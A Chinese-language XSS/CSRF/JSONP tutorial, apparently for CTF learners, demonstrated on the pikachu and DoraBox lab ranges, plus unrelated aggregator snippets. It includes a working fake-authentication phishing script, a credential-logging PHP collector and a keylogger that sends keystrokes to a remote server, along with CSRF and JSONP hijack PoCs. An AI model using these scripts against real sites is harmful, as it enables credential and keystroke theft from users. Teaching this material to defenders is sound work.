".$row['title'] . " " . $row['content']." ";
}
echo "";
?>
记得在数据库中创建xss表,不然php找不到xss表就无法插入数据会报错
不知为何连接上数据库后php还是不能向数据库中写入。可能是权限问题吧,研究半天没有成功,这里换用pikachu靶场的xss(store)环境
成功跳转弹窗
与反射型相同payload上传获取cookie
正文|DOM XSS简述
DOM XSS是指页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了被污染的变量,从而导致xss。DOM XSS与反射型,存储型XSS主要的区别在于DOM XSS的XSS代码不需要服务器端解析,依赖的是浏览器端的DOM解析。
DOM环境搭建
Test
这里会显示输入的内容
DOM XSS测试
正文|xss利用
1.窃取 Cookie:
从以上的实验过程中,我们可以看到,由于黑客注入的 JavaScript 代码是运行在 http://server.com 这个域名下的,因此,黑客可以在 JavaScript 中通过 document.cookie 获得 Cookie 信息。也就是说**黑客可以窃取用户的 Cookie。**另外,需要我们注意的是,受SOP(Same Origin Policy,同源策略)保护,我们在 http://server.com 中是无法直接向 http://hacker.com 发送 GET 或者 POST 请求的。但是我们可以通过 window.location 、加载 JavaScript 文件、图片等方式,向 http://attacker.com 发送带有 Cookie 的 GET 请求。
窃取用户的cookie后,黑客可以通过cookie伪造合法身份(管理员身份)登录,获取操作网页的权限。
2. 未授权操作
除了窃取敏感信息以外,黑客还可以利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。
在微博 XSS 攻击事件 中,黑客就利用 JavaScript 脚本,让用户发送了一个微博,微博中同时还带有反射型 XSS 的链接。这样一来,每个点击链接的用户都会通过微博的形式,诱导更多的用户点击链接,一传十、十传百,造成大范围的传播。
微博xss攻击事件相关链接: https://www.cnblogs.com/svennee/p/4099637.html
https://www.cnblogs.com/hainange/archive/2011/06/29/6152978.html
3. 按键记录和钓鱼
窃取 Cookie 和未授权操作都是我们很容易想到的危害,除此之外,JavaScript 还能做什么呢?
JavaScript 的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息等。也就是说,你输入的账号名和密码,都可以被 JavaScript 记录下来,从而被黑客获取到。
另外,即使某个存在 XSS 漏洞的页面不具备任何输入框,黑客还可以通过修改 DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。这也是“钓鱼”的一种形式,在这个过程中用户访问的域名是完全正常的,只是页面被篡改了,所以具备更高的迷惑性。
实验|利用XSS漏洞钓鱼
相关脚本:
1 钓鱼脚本
1.1弹出伪造验证框脚本
error_reporting ( 0 ) ;
if ( ( ! isset ( $_SERVER [ 'PHP_AUTH_USER' ] ) ) || ( ! isset ( $_SERVER [ 'PHP_AUTH_PW' ] ) ) ) {
header ( 'Content-type:text/html;charset=utf-8' ) ;
header ( "WWW-Authenticate: Basic realm='认证'" ) ;
header ( 'HTTP/1.0 401 Unauthorized' ) ;
echo 'Authorization Required.' ;
exit ;
} else if ( ( isset ( $_SERVER [ 'PHP_AUTH_USER' ] ) ) && ( isset ( $_SERVER [ 'PHP_AUTH_PW' ] ) ) ) {
header ( "Location: http://192.168.88.128/pkxss/xfish/xfish.php?username={ $_SERVER [ PHP_AUTH_USER ] }
&password={ $_SERVER [ PHP_AUTH_PW ] } " ) ;
}
? >
1.2 将用户输入的信息进行处理并保存
error_reporting ( 0 ) ;
include_once '../inc/config.inc.php' ;
include_once '../inc/mysql.inc.php' ;
$link = connect ( ) ;
if ( ! empty ( $_GET [ 'username' ] ) && ! empty ( $_GET [ 'password' ] ) ) {
$username = $_GET [ 'username' ] ;
$password = $_GET [ 'password' ] ;
$referer = "" ;
$referer .= $_SERVER [ 'HTTP_REFERER' ] ;
$time = date ( 'Y-m-d g:i:s' ) ;
$query = "insert fish(time,username,password,referer) values('$time ','$username ','$password ','$referer ')" ;
$result = mysqli_query ( $link , $query ) ;
}
? >
2 键盘记录脚本
2.1 制作键盘的js,异步发送给键盘记录脚本
function createAjax ( ) {
var request= false ;
if ( window. XMLHttpRequest) {
request= new XMLHttpRequest ( ) ;
if ( request. overrideMimeType) {
request. overrideMimeType ( "text/xml" ) ;
}
} else if ( window. ActiveXObject) {
var versions= [ 'Microsoft.XMLHTTP' , 'MSXML.XMLHTTP' , 'Msxml2.XMLHTTP.7.0' , 'Msxml2.XMLHTTP.6.0' , 'Msxml2.XMLHTTP.5.0' , 'Msxml2.XMLHTTP.4.0' , 'MSXML2.XMLHTTP.3.0' , 'MSXML2.XMLHTTP' ] ;
for ( var i= 0 ; i< versions. length; i++ ) {
try {
request= new ActiveXObject ( versions[ i] ) ;
if ( request) {
return request;
}
} catch ( e) {
request= false ;
}
}
}
return request;
}
var ajax= null ;
var xl= "datax=" ;
function onkeypress ( ) {
var realkey = String. fromCharCode ( event. keyCode) ;
xl+= realkey;
show ( ) ;
}
document. onkeypress = onkeypress;
function show ( ) {
ajax = createAjax ( ) ;
ajax. onreadystatechange = function ( ) {
if ( ajax. readyState == 4 ) {
if ( ajax. status == 200 ) {
var data = ajax. responseText;
} else {
alert ( "页面请求失败" ) ;
}
}
}
var postdate = xl;
ajax. open ( "POST" , "http://192.168.88.128/pkxss/rkeypress/rkserver.php" , true ) ;
ajax. setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded" ) ;
ajax. setRequestHeader ( "Content-length" , postdate. length) ;
ajax. setRequestHeader ( "Connection" , "close" ) ;
ajax. send ( postdate) ;
}
2.2处理并保存按键记录脚本
操作步骤 :首先配置脚本一和脚本三,使窃取的信息导入到脚本二和脚本四。
脚本一将location后域名地址配置为脚本二的本地地址
header ( "Location: http://192.168.88.128/pkxss/xfish/xfish.php? // 修改这里
username={ $_SERVER [ PHP_AUTH_USER ] }
&password={ $_SERVER [ PHP_AUTH_PW ] } " ) ;
脚本三将post后域名配置为脚本四的本地地址
ajax. open ( "POST" , "http://192.168.88.128/pkxss/rkeypress/rkserver.php" , true ) ;
ajax. setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded" ) ;
构造钓鱼payload:
访问保存信息的的页面就可以获取我们刚才输入的账号密码,完成一次简单的xss
参考链接 :https://blog.csdn.net/weixin_43526443/article/details/105737140
拓展|XSS防护策略
特定标签过滤
通过过滤掉xss危险html标签(script,ifame)来防御xss的一种办法,也是防御xss的最简单思路,但其实这种方法 局限性很大 。因为任何一种标签,无论是否合法,都可以构造出xss代码。而当输入点在html的属性中或js代码中,攻击者可以简单的闭合、拼接属性或js代码 。不需要引入新标签就可以实现xss。而且html的更新势必会带来更多可以利用的新标签(video),这种方法治标不治本 。
事件过滤
开发者通过过滤许多HTML的事件属性来防御xss。(如onerror)
敏感关键字过滤
针对敏感变量和函数进行的过滤。防护性不强,可以通过字符串拼接,编码解码等方式绕过。
长度限制
由于xss跨站脚本的注入需要一定长度的输入,此时我们如果限制输入长度,就能有效地限制xss注入。
如下图通过前端js代码限制输入最大长度
启用HTTP Only
首先,我们了解一下一个Cookie的使用过程:
Step1:浏览器向服务器发起请求,这时没有Cookie。Step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。
Step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。
接下来,我们了解一下HttpOnly
HttpOnly是Cookie的一个安全属性,最早是由微软提出,并在IE 6中实现的,至今已成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格来说,HttpOnly并非为了对抗XSS–HttpOnly解决的是XSS后的Cookie劫持。之前的文章中提到过”如何使用XSS窃取用户的Cookie,然后登录进该用户的账户“。但如果该Cookie设置了HttpOnly,则这种攻击会失败,因为JavaScript读取不到Cookie的值。
HttpOnly的使用非常灵活,如下是一个使用HttpOnly的过程。
header ( "Set-Cookie: cookie1=test1;" ) ;
header ( "Set-Cookie: cookie2=test2;httponly" , false ) ;
? >
< script>
alert ( document. cookie) ;
< / script>
拓展|CSRF简述
CSRF(Cross—site request forgery)跨站请求伪造 ,也被称为One Click Attack或Session Riding。是一种对网站的恶意利用,它与XSS的不同之处在于:XSS利用的是站点内的受信任用户,CSRF则是通过伪装成权限用户对受信任的网站的请求。
CSRF其实可以这样理解:
攻击者利用目标用户的身份,以目标用户的名义进行某些非法操作
CSRF攻击有以下关键点:
目标用户已经登录了网站,能够执行网站内的功能
目标用户访问了攻击者构造的url
CSRP简单实践-基于pikachu靶场
登录靶场给出的默认账号
点击修改个人信息并填写修改,点击修改的同时抓包分析
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=1256136&add=136142&email=1241251&submit=submit HTTP/1.1
发现url后有get传参是用来修改参数的。于是我们可以伪造一个url如下诱使用户点击,就完成了一次简单的csrf攻击。例如这里
url+?sex=hack&phonenum=hacker&add=666666&email=hack&submit=submit HTTP/1.1
拓展|jsonp简述
JSONP(JSON with Padding)是JSON的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,**而 HTML 的
jsonp简单实践-csrf的jsonp劫持
为了学习jsonp专门搭建了一个DoraBox靶场…进入jsonp劫持项目。
使用如下poc进行劫持
DOCTYPE html >
< html lang = " en" >
< head>
< meta charset = " UTF-8" >
< meta name = " viewport" content = " width=device-width, initial-scale=1.0" >
< title> json劫持 title>
head>
< body>
< script>
function vulkey ( data )
{
alert ( JSON . stringify ( data) ) ;
}
script>
< script src = " http://localhost/DoraBox-master/csrf/jsonp.php?callback=vulkey" >
script>
body>
html>
劫持成功
后记
xss漏洞是个较为普遍且非常经典的漏洞,但由于其特殊性,在ctf赛题中很少单独利用,而是和其他漏洞进行联动。因此学好xss是做好许多ctf题目的前提。当然,这篇文章讲解的可能对你们现在来说确实有些难度,初步要求掌握正文内容,拓展内容学有余力者可以研究研究。
你可能感兴趣的:(安全漏洞,xss,csrf,jsonp)
Spring Security OAuth2.0在分布式系统中的安全实践
引言分布式系统架构下,安全认证与授权面临跨服务、高并发、多租户等挑战。SpringSecurity与OAuth2.0的结合为微服务安全提供了标准化解决方案。分布式系统中的安全挑战跨服务身份认证的复杂性令牌管理的可扩展性问题多租户场景下的权限隔离需求防止CSRF、XSS等常见攻击SpringSecurityOAuth2.0核心架构授权服务器设计@EnableAuthorizationServer配置
ubuntu的redis反弹shell总结
chanra
萌新随笔 ubuntu redis linux
ubuntu的redis反弹shell总结ubuntu要执行有三点:1、ubuntu的默认执行命令的为/bin/dash,我们使用bash-i肯定是弹不了的。2、ubuntu计划任务运行有语法要求,redis写入的文件存在缓存数据,导致语法错误无法运行计划任务。3、文件需要是600rw权限,权限不对也不能运行,不过我直接写入貌似就是600rw。参考链接:http://www.vkxss.top/2
高级07-Java安全编程:保护你的应用免受攻击
Jinkxs
Java高级篇 安全 java
引言在当今的数字时代,应用程序的安全性已成为软件开发过程中不可忽视的重要环节。Java作为一门广泛应用于企业级应用开发的编程语言,其安全性问题尤其受到关注。无论是在Web应用、移动应用还是后端服务中,Java开发者都需要面对各种潜在的安全威胁,如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、身份验证漏洞等。因此,掌握Java安全编程的最佳实践,不仅能够提升应用程序的健壮性,还能有效
宝塔开放php openssl,[教程]Centos宝塔面板升级openssl增强nginxSSL安全性,openssl开启Http/2,Centos升级openssl...
weixin_39956353
宝塔开放php openssl
由于本站是采用的Centos7+宝塔面板搭建的LNMP环境,但是Centos7默认的openssl版本又太低,根据“漏洞参考这里:https://www.trustasia.com/OpenSSL-CVE-2016-2107-Padding-Oracle”查看这篇文章发现openssl低版本已经有一堆漏洞了,所以就萌生了升级openssl版本的想法。配置完后如图:openssl版本低会导致无论你怎
微信小程序开发框架与工具详解
一、小程序开发框架与工具介绍小程序开发框架:是一套用于快速构建小程序的开发框架,提供了丰富的组件和API,使得开发者能够快速搭建小程序,并实现丰富的功能。小程序开发工具:是用于辅助小程序开发的工具,提供了代码编辑、调试、预览等功能,使得开发者能够更加高效地进行开发和调试。二、微信小程序开发框架原生框架:原生框架是指基于微信官方提供的原生组件和API进行开发,使用WXML模板语言、WXSS样式语言和
微信小程序动态柱状图实现案例分析
本文还有配套的精品资源,点击获取简介:微信小程序是一种面向移动端的应用开发平台,利用WXML和WXSS以及JavaScript进行开发。本文介绍了如何在微信小程序中实现动态柱状图的实例,涵盖了数据驱动、使用图表库、生命周期方法、动画效果、事件处理、布局与样式设计、API调用以及调试与发布等关键知识点。通过实际案例源码分析,帮助开发者深入理解动态柱状图的实现过程和技术要点。1.微信小程序开发基础微信
微信小程序 环形进度条_微信小程序:实时圆形进度条实现
武奘
微信小程序 环形进度条
第九程序给大家带来微信小程序:实时圆形进度条实现,希望大家在开发小程序过程中能够帮助大家解决。废话不多说,先上一张效果图!实现思路建立两个canvas标签,先绘制底层的浅灰色圆圈背景,再绘制上层的红色进度条。WXML代码开始动态绘制WXSS代码特别注意:底层的canvas最好使用z-index:-99;放置于底层page{width:100%;height:100%;background-colo
如何实现零成本裂变?微信推客带货小程序开发功能模式全解析
开发加微信:hedian116
微信
引言在当今社交电商蓬勃发展的背景下,微信推客系统作为一种基于社交关系的分销模式,其技术实现和架构设计值得开发者深入探讨。本文将从技术角度分析微信推客系统的核心组件和实现原理,避免商业营销,专注于技术层面的分享。一、微信推客系统的基本架构1.1前端架构微信推客系统通常采用混合开发模式:小程序前端:使用WXML+WXSS+JavaScript技术栈H5页面:Vue.js或React框架实现跨平台兼容原
微信小程序之自定义模态弹窗(带动画)实例-——-微信小程序实战系列(8)(1)
2401_84149213
程序员 微信小程序 notepad++ 小程序
这样的模态弹窗,充其量只能做个alert,提示一下信息。但是并不能使用它来处理复杂性的弹窗业务,因此写了Michael从新自定义了一个,采用了仿原生的样式写法wxml:button弹窗标题标题标题标题标题备注确定wxss:/button/.btn{width:80%;padding:20rpx0;border-radius:10rpx;text-align:center;margin:40rpx1
2024年前端面试题及答案
2401_84433924
程序员 前端
所谓同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个ip地址,也非同源。它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。3如何解决跨域?能说1,2,7,8就行。1、通过jsonp跨域2、CORS3、document.domain+iframe跨域4、location.hash+iframe5、window.name+iframe跨域
XSS基础
Z_zz_Z___
xss 前端 php
一、xss的基本介绍在现代的网站中包含有许多大量动态的内容,而恶意攻击者会在Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。动态的站点就受到“跨站脚本攻击”(CrossSiteScripting简称xss)。跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种,恶意用户利用xss代码攻击成功后,可
网络安全漏洞挖掘入门教程(非常详细),从入门到精通,收藏这一篇就够了
前字节网络安全工程师
网络安全 web安全 安全
一、什么是网络安全漏洞挖掘?1、简单介绍漏洞挖掘网络安全漏洞挖掘的全称为安全漏洞探测,简称漏洞挖掘,别称有白帽测试、渗透测试等。网络安全漏洞挖掘是一种主动查找系统、应用或网络弱点的过程,目的是在恶意攻击者之前发现和修复漏洞,保障数据安全。安全团队通过漏洞挖掘技术,对目标进行系统性扫描和分析,识别出如注入攻击、缓冲区溢出等隐患,并提供修补方案。如果形象地理解,漏洞挖掘就如同一个数字侦探,它的核心任务
黑客必备的漏洞挖掘技术流程指南,零基础入门到精通,收藏这一篇就够了
灵魂黑客向阳
网络安全 web安全 学习 安全
一、什么是网络安全漏洞挖掘?1、简单介绍漏洞挖掘网络安全漏洞挖掘的全称为安全漏洞探测,简称漏洞挖掘,别称有白帽测试、渗透测试等。网络安全漏洞挖掘是一种主动查找系统、应用或网络弱点的过程,目的是在恶意攻击者之前发现和修复漏洞,保障数据安全。安全团队通过漏洞挖掘技术,对目标进行系统性扫描和分析,识别出如注入攻击、缓冲区溢出等隐患,并提供修补方案。如果形象地理解,漏洞挖掘就如同一个数字侦探,它的核心任务
2025年工业控制系统安全实战指南:Modbus协议漏洞攻防全解析(附PLC防御代码与资源包)
全息架构师
安全 web安全 网络安全
2025年工业控制系统安全实战指南:Modbus协议漏洞攻防全解析(附PLC防御代码与资源包)摘要:随着工业4.0的深化,Modbus协议的安全漏洞已成为工业控制系统的致命弱点。本文深度剖析2024-2025年十大PLC攻击案例,结合施耐德ModiconPLC高危漏洞(CVE-2021-22779)、西门子S7commPlus协议破解等最新事件,提供全栈式防御方案,并附赠PLC安全加固代码模板与工
区块链开发:Solidity 智能合约安全审计要点
大力出奇迹985
区块链 智能合约 安全
本文聚焦区块链开发中Solidity智能合约的安全审计要点。首先概述智能合约安全审计的重要性,接着详细介绍常见的安全漏洞,如重入攻击、整数溢出与下溢等,以及对应的审计方法。还阐述了审计的具体流程,包括自动化工具检测、手动代码审查等。最后总结安全审计的关键原则与实践意义,为开发者提供全面的安全审计参考,助力提升智能合约的安全性。在区块链技术飞速发展的当下,Solidity作为智能合约开发的主流语言,
【安全漏洞】补丁下载不再抓瞎!微软官方补丁库使用指南
-XWB-
安全漏洞 microsoft 服务器
补丁下载不再抓瞎!微软官方补丁库使用指南“补丁下载链接失效了?”“这个KBxxxx补丁到底去哪儿找?”“每次打补丁都要翻遍全网?”作为运维/安全工程师,你是否也被这些灵魂拷问折磨过?今天就带你解锁微软官方补丁库的隐藏技能,让补丁下载像点外卖一样简单!痛点场景还原想象一下这个经典画面:收到安全告警:CVE-2023-XXXX漏洞需要立即修复火速打开微软官网…发现要登录MSDN账号终于找到补丁页…链接
【网络安全】2025年最新高频面试真题(答案+解析)
前字节网络安全工程师
网络安全 web安全 面试 安全
金九银十将至,难免有不少小伙伴面临跳槽或者找工作,本文总结了常见的安全岗位面试题,方便各位复习。祝各位事业顺利,财运亨通。1.解释OWASPTop10中的SQL注入漏洞?注入原理、常见防御措施(如参数化查询)、实际漏洞案例2.描述OSI模型七层及其安全风险?每层名称(如物理层)、漏洞类型(如数据链路层ARP欺骗)、防护工具3.什么是XSS攻击?如何区分存储型和反射型?恶意脚本执行示例、漏洞利用场景
Jmeter(10):json提取器元件及jsonpath介绍
奔跑在路上you
Jmeter_接口测试 Jsonpath jmeter json
json提取器元件介绍:json提取器与正则表达式提取器功能类似,也是用来截取响应信息的部分保存到指定的变量中去,不同的是,它只能用来处理响应正文,并且响应正文必须是json格式的。它的优势是能更快更灵活的截取json格式文本中的内容。json提取器在jmeter5.2.1版本中部分字段没有汉化过来。路径:右击http请求——后置处理器——json提取器如下图所示:json提取器元件字段介绍:名称
【网络安全】XSS攻击
第十六年盛夏.
网安 web安全 xss 前端
如果文章不足还请各位师傅批评指正!XSS攻击是什么?XSS全称是“CrossSiteScripting”,也就是跨站脚本攻击。想象一下,你正在吃一碗美味的面条,突然发现里面有一只小强!恶心不?XSS攻击就是这么个感觉——它往正常的网页里塞进恶意代码,等你打开网页时,这段代码就会悄悄执行,可能偷走你的信息,比如账号、密码之类的。一、XSS攻击的原理:藏在网页里的“坏心眼纸条”想象一下,你和朋友们在一
7月24日总结
克莱因蓝lhy
前端
BUU树洞用xss安全平台上的js代码获取网站的cookie和URL抓包修改cookie后即可回显flag信息收集网络安全入门—信息收集(完整版)_安全信息搜集-CSDN博客子域名收集1.oneforallOneForAll工具:安装指南、使用方法及常见问题解决(超全)-CSDN博客pythononeforall.py--targetxxxxxxrun(xxxx是查询的域名)2.搜索引擎高级语法s
jackson自定义反序列化
@Testvoidt2()throwsJsonProcessingException{StringjsonStr="{\"username1\":\"zs\",\"age\":30}";Useruser=objectMapper.readValue(jsonStr,User.class);System.out.println(user);}@Data@AllArgsConstructor@Json
电商系统的 “心脏”:支付模块设计与安全防护实战
subuq
安全 数据库 mysql
在电商系统的诸多模块中,支付模块无疑是核心中的核心。它连接着用户、商家与金融机构,承载着交易闭环的最后一环,直接关系到资金安全与用户信任。一旦支付模块出现故障或安全漏洞,不仅会导致交易中断,更可能引发资金损失、用户流失等严重后果。本文将从功能设计、技术架构与安全防护三个维度,深入探讨电商支付模块的搭建逻辑与实战经验。一、支付模块的核心功能设计支付模块的功能设计需围绕“流畅交易”与“资金可控”两大目
XSS Payload 学习浏览器解码
菜鸟一个昂
servlet
目录问题一:问题二:问题三:问题四:问题五:问题六:问题七:问题八:问题九:问题十:问题十一:问题十二:问题十三:问题十四:问题十五:问题一:无法弹窗原因:urlcode无法识别协议(javascript:)html解码顺序:1、html实体编码2、urlcode编码3,unicode编码问题二:可以弹窗首先先HTML实体编码解码,得到href中为URL,URL模块可识别为javascript协议
浏览器解码过程分析
浏览器解码过程分析前言在学习xss漏洞的过程中我发现一个问题,当我想绕过过滤机制时,可以采用编码的方式进行绕过这种方法,但是并不是每一种编码格式都能绕过,需要不停的尝试才行,这样过于浪费时间。后来我发现浏览器与服务器数据传输过程中有好几种编码格式,不同的编码格式有着不同的解析引擎,作为一个浏览器,在解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析。每个解
Xss漏洞总结
一、XSS漏洞简介XSS(Cross-SiteScripting,跨站脚本攻击)是一种常见的Web前端安全漏洞,其主要危害对象是网站的访问用户。攻击者通过在网页中注入恶意脚本代码(如JavaScript、Flash等),诱使用户访问后在其浏览器中执行这些代码,从而达到窃取数据、控制会话等攻击目的。二、XSS漏洞原理XSS的根本原因在于服务器未对用户提交的输入内容进行严格过滤和转义处理,导致用户提供
从XSS Payload学习浏览器解码
caker丶
XSS-labs XSS xss 学习 javascript
从XSSPayload学习浏览器解码HTML解析URL解析JavaScript解析案例解析总结作为一个浏览器在解析一篇HTML文档时主要有三个处理过程,每个解析器负责解码和解析HTML文档中它所对应的部分,下面我将按照解码顺序依次讲解。HTMl解析URL解析JavaScript解析HTML解析一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时
原型链污染
江湖没什么好的
xss
原型链污染(PrototypePollution)是一种针对JavaScript应用的安全漏洞,攻击者通过操纵对象的原型链,向基础对象(如Object.prototype)注入恶意属性,从而影响整个应用程序的行为。以下是详细解析:核心原理JavaScript原型链机制:每个对象都有隐式原型__proto__(或通过Object.getPrototypeOf()访问),指向其构造函数的原型对象。访问
基于Web的安全漏洞分析与修复平台设计与实现
计算机毕业设计指导
前端
基于Web的安全漏洞分析与修复平台设计与实现摘要随着信息化进程的加快,Web系统和企业IT架构愈发复杂,安全漏洞频发已成为影响系统安全运行的主要因素。为解决传统漏洞扫描工具定位不准确、修复建议不完善、响应周期长等问题,本文设计并实现了一套基于Web的安全漏洞分析与修复平台。平台集成漏洞检测、漏洞情报分析、可视化报告生成及自动修复建议模块,支持对网站、服务器、代码仓库等多类型目标进行统一管理与评估。
bmsimilarity的打分 调试参数
risc123456
elasticsearch
下面给出一条极简、可复制的DSL链路:1.建索引(默认BM25)2.插入文档3.触发BM25打分的查询---1️⃣创建索引(什么都不改,就是BM25)```jsonPUT/demo{"mappings":{"properties":{"title":{"type":"text"}//默认similarity=BM25}}}```---2️⃣插入文档```jsonPOST/demo/_doc/1{"
【Java代码审计 | 第五篇】XSS漏洞成因+实战案例
秋说
Java代码审计 java xss
未经许可,不得转载。文章目录XSS漏洞成因1、直接输出用户输入2、在JSP中使用EL表达式输出用户输入3、在Thymeleaf模板中输出用户输入4、在JavaScript中嵌入用户输入实战案例案例1案例2案例3XSSXSS(跨站脚本攻击,Cross-SiteScripting)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,使得这些脚本在用户的浏览器中执行。XSS攻击通常分为以下三种类
eclipse maven
IXHONG
eclipse
eclipse中使用maven插件的时候,运行run as maven build的时候报错
-Dmaven.multiModuleProjectDirectory system propery is not set. Check $M2_HOME environment variable and mvn script match.
可以设一个环境变量M2_HOME指
timer cancel方法的一个小实例
alleni123
多线程 timer
package com.lj.timer;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;
public class MyTimer extends TimerTask
{
private int a;
private Timer timer;
pub
MySQL数据库在Linux下的安装
ducklsl
mysql
1.建好一个专门放置MySQL的目录
/mysql/db数据库目录
/mysql/data数据库数据文件目录
2.配置用户,添加专门的MySQL管理用户
>groupadd mysql ----添加用户组
>useradd -g mysql mysql ----在mysql用户组中添加一个mysql用户
3.配置,生成并安装MySQL
>cmake -D
spring------>>cvc-elt.1: Cannot find the declaration of element
Array_06
spring bean
将--------
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3
maven发布第三方jar的一些问题
cugfy
maven
maven中发布 第三方jar到nexus仓库使用的是 deploy:deploy-file命令
有许多参数,具体可查看
http://maven.apache.org/plugins/maven-deploy-plugin/deploy-file-mojo.html
以下是一个例子:
mvn deploy:deploy-file -DgroupId=xpp3
MYSQL下载及安装
357029540
mysql
好久没有去安装过MYSQL,今天自己在安装完MYSQL过后用navicat for mysql去厕测试链接的时候出现了10061的问题,因为的的MYSQL是最新版本为5.6.24,所以下载的文件夹里没有my.ini文件,所以在网上找了很多方法还是没有找到怎么解决问题,最后看到了一篇百度经验里有这个的介绍,按照其步骤也完成了安装,在这里给大家分享下这个链接的地址
ios TableView cell的布局
张亚雄
tableview
cell.imageView.image = [UIImage imageNamed:[imageArray objectAtIndex:[indexPath row]]];
CGSize itemSize = CGSizeMake(60, 50);
&nbs
Java编码转义
adminjun
java 编码转义
import java.io.UnsupportedEncodingException;
/**
* 转换字符串的编码
*/
public class ChangeCharset {
/** 7位ASCII字符,也叫作ISO646-US、Unicode字符集的基本拉丁块 */
public static final Strin
Tomcat 配置和spring
aijuans
spring
简介
Tomcat启动时,先找系统变量CATALINA_BASE,如果没有,则找CATALINA_HOME。然后找这个变量所指的目录下的conf文件夹,从中读取配置文件。最重要的配置文件:server.xml 。要配置tomcat,基本上了解server.xml,context.xml和web.xml。
Server.xml -- tomcat主
Java打印当前目录下的所有子目录和文件
ayaoxinchao
递归 File
其实这个没啥技术含量,大湿们不要操笑哦,只是做一个简单的记录,简单用了一下递归算法。
import java.io.File;
/**
* @author Perlin
* @date 2014-6-30
*/
public class PrintDirectory {
public static void printDirectory(File f
linux安装mysql出现libs报冲突解决
BigBird2012
linux
linux安装mysql出现libs报冲突解决
安装mysql出现
file /usr/share/mysql/ukrainian/errmsg.sys from install of MySQL-server-5.5.33-1.linux2.6.i386 conflicts with file from package mysql-libs-5.1.61-4.el6.i686
jedis连接池使用实例
bijian1013
redis jedis连接池 jedis
实例代码:
package com.bijian.study;
import java.util.ArrayList;
import java.util.List;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoo
关于朋友
bingyingao
朋友 兴趣爱好 维持
成为朋友的必要条件:
志相同,道不合,可以成为朋友。譬如马云、周星驰一个是商人,一个是影星,可谓道不同,但都很有梦想,都要在各自领域里做到最好,当他们遇到一起,互相欣赏,可以畅谈两个小时。
志不同,道相合,也可以成为朋友。譬如有时候看到两个一个成绩很好每次考试争做第一,一个成绩很差的同学是好朋友。他们志向不相同,但他
【Spark七十九】Spark RDD API一
bit1129
spark
aggregate
package spark.examples.rddapi
import org.apache.spark.{SparkConf, SparkContext}
//测试RDD的aggregate方法
object AggregateTest {
def main(args: Array[String]) {
val conf = new Spar
ktap 0.1 released
bookjovi
kernel tracing
Dear,
I'm pleased to announce that ktap release v0.1, this is the first official
release of ktap project, it is expected that this release is not fully
functional or very stable and we welcome bu
能保存Properties文件注释的Properties工具类
BrokenDreams
properties
今天遇到一个小需求:由于java.util.Properties读取属性文件时会忽略注释,当写回去的时候,注释都没了。恰好一个项目中的配置文件会在部署后被某个Java程序修改一下,但修改了之后注释全没了,可能会给以后的参数调整带来困难。所以要解决这个问题。
&nb
读《研磨设计模式》-代码笔记-外观模式-Facade
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
/*
* 百度百科的定义:
* Facade(外观)模式为子系统中的各类(或结构与方法)提供一个简明一致的界面,
* 隐藏子系统的复杂性,使子系统更加容易使用。他是为子系统中的一组接口所提供的一个一致的界面
*
* 可简单地
After Effects教程收集
cherishLC
After Effects
1、中文入门
http://study.163.com/course/courseMain.htm?courseId=730009
2、videocopilot英文入门教程(中文字幕)
http://www.youku.com/playlist_show/id_17893193.html
英文原址:
http://www.videocopilot.net/basic/
素
Linux Apache 安装过程
crabdave
apache
Linux Apache 安装过程
下载新版本:
apr-1.4.2.tar.gz(下载网站:http://apr.apache.org/download.cgi)
apr-util-1.3.9.tar.gz(下载网站:http://apr.apache.org/download.cgi)
httpd-2.2.15.tar.gz(下载网站:http://httpd.apac
Shell学习 之 变量赋值和引用
daizj
shell 变量引用 赋值
本文转自:http://www.cnblogs.com/papam/articles/1548679.html
Shell编程中,使用变量无需事先声明,同时变量名的命名须遵循如下规则:
首个字符必须为字母(a-z,A-Z)
中间不能有空格,可以使用下划线(_)
不能使用标点符号
不能使用bash里的关键字(可用help命令查看保留关键字)
需要给变量赋值时,可以这么写:
Java SE 第一讲(Java SE入门、JDK的下载与安装、第一个Java程序、Java程序的编译与执行)
dcj3sjt126com
java jdk
Java SE 第一讲:
Java SE:Java Standard Edition
Java ME: Java Mobile Edition
Java EE:Java Enterprise Edition
Java是由Sun公司推出的(今年初被Oracle公司收购)。
收购价格:74亿美金
J2SE、J2ME、J2EE
JDK:Java Development
YII给用户登录加上验证码
dcj3sjt126com
yii
1、在SiteController中添加如下代码:
/**
* Declares class-based actions.
*/
public function actions() {
return array(
// captcha action renders the CAPTCHA image displ
Lucene使用说明
dyy_gusi
Lucene search 分词器
Lucene使用说明
1、lucene简介
1.1、什么是lucene
Lucene是一个全文搜索框架,而不是应用产品。因此它并不像baidu或者googleDesktop那种拿来就能用,它只是提供了一种工具让你能实现这些产品和功能。
1.2、lucene能做什么
要回答这个问题,先要了解lucene的本质。实际
学习编程并不难,做到以下几点即可!
gcq511120594
